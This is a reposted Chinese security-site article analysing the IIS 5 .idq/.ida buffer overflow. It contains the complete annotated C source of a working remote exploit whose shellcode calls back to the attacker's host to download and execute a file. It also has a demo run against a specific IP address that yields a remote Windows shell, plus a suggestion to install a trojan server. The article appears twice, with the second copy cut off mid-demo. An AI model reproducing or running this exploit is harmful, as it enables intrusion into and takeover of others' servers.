首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞检测>文章内容
对.idq/.ida溢出攻击的分析
来源:vittersafe.tk 作者:vitter 发布时间:2002-08-29  

对.idq/.ida溢出攻击的分析

IIS的.idq/.ida映射的溢出漏洞已经公布了好久了,但由于利用这个漏洞有
比较大的难度,所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的
eEye也没做出攻击程序来,由于发送的内容被转换成了宽字符,所以覆盖用的
溢出地址比较难以控制,按照eEye的办法,是在shellcode前面放上很多NOP这样
就把shellcode推向了0x004x00xx的地址,就可以用xx4x这样的串来覆盖ret,这
个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上
行的通,但是实际上问题非常多,可以控制跳转却无法执行代码,而且不同的机
器这个0x004x00xx都不一样,这样就很难做出通用性比较好的exploit。

昨天终于看到公布了可用的攻击程序,一开始没仔细看还以为是骗人的。后
来用softice跟了一下,又请教了一下袁哥才搞明白。这个exploit写得很不错,
用巧妙的方法避开来被扩展成宽字符,可以随意控制跳转地址,利用他的方法可
以很轻松的改写出更完善的exploit。

这个程序的shellcode比较简单,只是连到指定主机的指定端口去接受数
据,然后把它存为aa.exe,然后运行aa.exe。但它和以前的对付.htr溢出的那个
iishack不一样,它不能主动请求数据,而只能等待那边的主机发送数据,所以
你不能用它来下载指定的程序,而必须由攻击端的攻击程序来开个进程等待发送
数据到被攻击的主机。

我把这个程序稍微改了一下,使它可以攻击中文版IIS5。因为过几天要考
试,我也没有时间再写个新程序了,只有等考完后在弄。下面就是我改良过
的.idq exploit程序,作了一些比较详细的注解:

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
对中文版WIN2k + IIS 5.0 + SP0攻击成功!
在RedHat6.2上编译
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 这是中文版WIN2K(没有安装SP)中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*这两个API的地址固定了,这样通用性不好,其实可以用shellcode来搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset */
/*
作者选择了覆盖SEH,这样可以避免覆盖掉某些形参而引起的错误,
但根据我的测试,覆盖RET也是一样的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些编码,以免地址或端口中还有\0字节而截断shellcode*/

#define PORT 555
/*shellcode要连接的端口,不要用80,因为80一般都被占用了*/

#define ADDR "111.111.111.111"
/*
!!!注意:上面这个地方是必须要更改的地方!!!
这是你发起攻击的主机地址,就是你运行攻击程序的那台主机。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
/*shellcode实现连接到攻击端并下载程序的功能,这个程序必须在攻击端主机上*/

unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*这是前面的shellcode用来跳到后面并寻址字符串*/

unsigned char forwardjump[]=
"%u08eb";
/*这是覆盖异常结构的jmp 08h,用来跳到后面寻址shellcode的那段代码*/
/*
作者在前面加了一个%u符号,这样就可以免于被扩展成宽字符,这方法
太妙了!至于IIS是这样处理%u的,可以参见bbs.nsfocus.com上袁哥反汇编
的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳转到shellcode去,我不一句句的解释了,如果有兴趣可以自己看,
注意每两个字节都是反的,%uC033在转换后变成了\x33\xC0。
*/

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
/*上面是连接主机的函数*/

/*
下面这个函数很重要,它监听在前面定义的那个的端口,我用了555,
一旦有主机连接过来,后面那个进程就把本地的一个程序发送过去,
这个程序当然也是在运行时指定的。
*/
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}

int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;

if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;

if(!(cb=resolve(ADDR)))
return -3;

if((pid=fork())<0)
return -4;

/*
开两个进程一个用于构造并发送shellcode,
另一个监听指定端口并等待发送数据。
*/
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}

j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}

memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);

memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);

/*
上面就是构造溢出串,溢出串在被扩展并拷贝入IIS的堆栈后形式如下:
..............| 异常链 |处理指针|.................
010001000100.....|eb080100|97ace477|010033c0.........
|jmp 08h | jmp ebx| jmp shellcode
*/

write(s,buf3,strlen(buf3));

printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");

wait(0);
sleep(1);
shutdown(s,2);
close(s);

printf("Done.\n");
}
/*下面这个进程用于建立连接,并打开指定文件并发送出去*/
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);

shutdown(s,2);
close(s);
}

return 0;
}
-------------------------idq.c-----cut here-----------------------------

整个程序攻击的流程是这样的:

攻击端 被攻击端
1. 发送shellcode
--------------->
2. 溢出并运行shellcode

3.监听555端口等待连接

4. 连接到攻击端555端口
<-------------------

5. 发送文件数据
-------------------->

6 接受文件为aa.exe并执行

下面是演示一下具体的用法的实例:

先到一台linux主机上编译idq.c。gcc -o idq idq.c

!!!注意一定先改一下程序中的#define ADDR "111.111.111.111"为你这台
linux主机的IP地址!!!

然后上传一个ncx99.exe到这台主机放在同一个目录下:
bash# ls -al
total 90
drwxrwxrwt 7 root root 1024 Aug 30 05:25 .
drwxr-xr-x 17 root root 1024 Aug 28 15:47 ..
drwxrwxrwt 2 xfs xfs 1024 May 14 03:03 .font-unix
-rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq
-rw-r--r-- 1 root root 8149 Aug 30 05:25 idq.c
-rw-rw-rw- 1 root root 59392 Aug 17 1999 ncx99.exe
假设要攻击61.135.19.222,就这样:
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
然后文件已经传过去并运行了,等几秒种,然后就可以连接上去了!
bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CC31-6B3C

C:\ 的目录

1997-01-11 16:54 297 1.pl
2001-07-01 03:08 59,392 aa.exe
1997-01-06 16:44 <DIR> Documents and Settings
2001-06-30 16:21 <DIR> download
2001-05-02 19:17 <DIR> Inetpub
2001-05-21 16:35 <DIR> mp3
2001-05-02 21:48 <DIR> mysql
2001-05-02 21:45 <DIR> Perl
2001-05-02 21:57 <DIR> php
2001-06-30 16:24 <DIR> Program Files
2001-06-22 01:47 <DIR> tool
2001-06-30 16:23 <DIR> WINNT
.........
.........
.........
28 个文件 383,912 字节
13 个目录 353,680,384 可用字节

C:\>exit
sent 13, rcvd 2326
bash#
你也可以传个冰河Server端上去,随便你了!

写完这些我感到有点失落,因为漏洞不是我发现的,攻击程序不是我写的,
我也只能跟在那些高手的后面拾人牙慧,唉...还需要再努力学习。

欢迎访问 http://www.xfocus.org/

转载请保持文章完整!
对.idq/.ida溢出攻击的分析

by isno( isno@xfocus.org)

IIS的.idq/.ida映射的溢出漏洞已经公布了好久了,但由于利用这个漏洞有
比较大的难度,所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的
eEye也没做出攻击程序来,由于发送的内容被转换成了宽字符,所以覆盖用的
溢出地址比较难以控制,按照eEye的办法,是在shellcode前面放上很多NOP这样
就把shellcode推向了0x004x00xx的地址,就可以用xx4x这样的串来覆盖ret,这
个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上
行的通,但是实际上问题非常多,可以控制跳转却无法执行代码,而且不同的机
器这个0x004x00xx都不一样,这样就很难做出通用性比较好的exploit。

昨天终于看到公布了可用的攻击程序,一开始没仔细看还以为是骗人的。后
来用softice跟了一下,又请教了一下袁哥才搞明白。这个exploit写得很不错,
用巧妙的方法避开来被扩展成宽字符,可以随意控制跳转地址,利用他的方法可
以很轻松的改写出更完善的exploit。

这个程序的shellcode比较简单,只是连到指定主机的指定端口去接受数
据,然后把它存为aa.exe,然后运行aa.exe。但它和以前的对付.htr溢出的那个
iishack不一样,它不能主动请求数据,而只能等待那边的主机发送数据,所以
你不能用它来下载指定的程序,而必须由攻击端的攻击程序来开个进程等待发送
数据到被攻击的主机。

我把这个程序稍微改了一下,使它可以攻击中文版IIS5。因为过几天要考
试,我也没有时间再写个新程序了,只有等考完后在弄。下面就是我改良过
的.idq exploit程序,作了一些比较详细的注解:

-------------------------------idq.c---------------------------------------
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21

code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
/*
Modified by isno
对中文版WIN2k + IIS 5.0 + SP0攻击成功!
在RedHat6.2上编译
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define RET 0x77e4ac97 /* jmp or call ebx */
/* 这是中文版WIN2K(没有安装SP)中jmp ebx的地址*/

#define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e7564b /* Address of GetProcAddress */
/*中文版GetModuleHandleA和GetProcAddress的地址*/
/*这两个API的地址固定了,这样通用性不好,其实可以用shellcode来搜索*/

#define GMHANDLEA_OFFSET 24
/*GetModuleHandleA的地址在shellcode中的偏移位置*/

#define GPADDRESS_OFFSET 61
/*同上*/

#define OFFSET 234 /* exception handler offset */
/*
作者选择了覆盖SEH,这样可以避免覆盖掉某些形参而引起的错误,
但根据我的测试,覆盖RET也是一样的
*/
#define NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
/*做了一些编码,以免地址或端口中还有\0字节而截断shellcode*/

#define PORT 555
/*shellcode要连接的端口,不要用80,因为80一般都被占用了*/

#define ADDR "111.111.111.111"
/*
!!!注意:上面这个地方是必须要更改的地方!!!
这是你发起攻击的主机地址,就是你运行攻击程序的那台主机。
*/

#define PORT_OFFSET 115
#define ADDR_OFFSET 120
/*都是一些偏移量*/

unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
/*shellcode实现连接到攻击端并下载程序的功能,这个程序必须在攻击端主机上*/

unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
/*这是前面的shellcode用来跳到后面并寻址字符串*/

unsigned char forwardjump[]=
"%u08eb";
/*这是覆盖异常结构的jmp 08h,用来跳到后面寻址shellcode的那段代码*/
/*
作者在前面加了一个%u符号,这样就可以免于被扩展成宽字符,这方法
太妙了!至于IIS是这样处理%u的,可以参见bbs.nsfocus.com上袁哥反汇编
的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。
*/

unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
/*
跳转到shellcode去,我不一句句的解释了,如果有兴趣可以自己看,
注意每两个字节都是反的,%uC033在转换后变成了\x33\xC0。
*/

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
/*域名->IP*/

int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
/*上面是连接主机的函数*/

/*
下面这个函数很重要,它监听在前面定义的那个的端口,我用了555,
一旦有主机连接过来,后面那个进程就把本地的一个程序发送过去,
这个程序当然也是在运行时指定的。
*/
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;

lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}

int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;

if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;

if(!(cb=resolve(ADDR)))
return -3;

if((pid=fork())<0)
return -4;

/*
开两个进程一个用于构造并发送shellcode,
另一个监听指定端口并等待发送数据。
*/
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}

j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}

memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);

memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;

sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);

/*
上面就是构造溢出串,溢出串在被扩展并拷贝入IIS的堆栈后形式如下:
..............| 异常链 |处理指针|.................
010001000100.....|eb080100|97ace477|010033c0.........
|jmp 08h | jmp ebx| jmp shellcode
*/

write(s,buf3,strlen(buf3));

printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");

wait(0);
sleep(1);
shutdown(s,2);
close(s);

printf("Done.\n");
}
/*下面这个进程用于建立连接,并打开指定文件并发送出去*/
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);

shutdown(s,2);
close(s);
}

return 0;
}
-------------------------idq.c-----cut here-----------------------------

整个程序攻击的流程是这样的:

攻击端 被攻击端
1. 发送shellcode
--------------->
2. 溢出并运行shellcode

3.监听555端口等待连接

4. 连接到攻击端555端口
<-------------------

5. 发送文件数据
-------------------->

6 接受文件为aa.exe并执行

下面是演示一下具体的用法的实例:

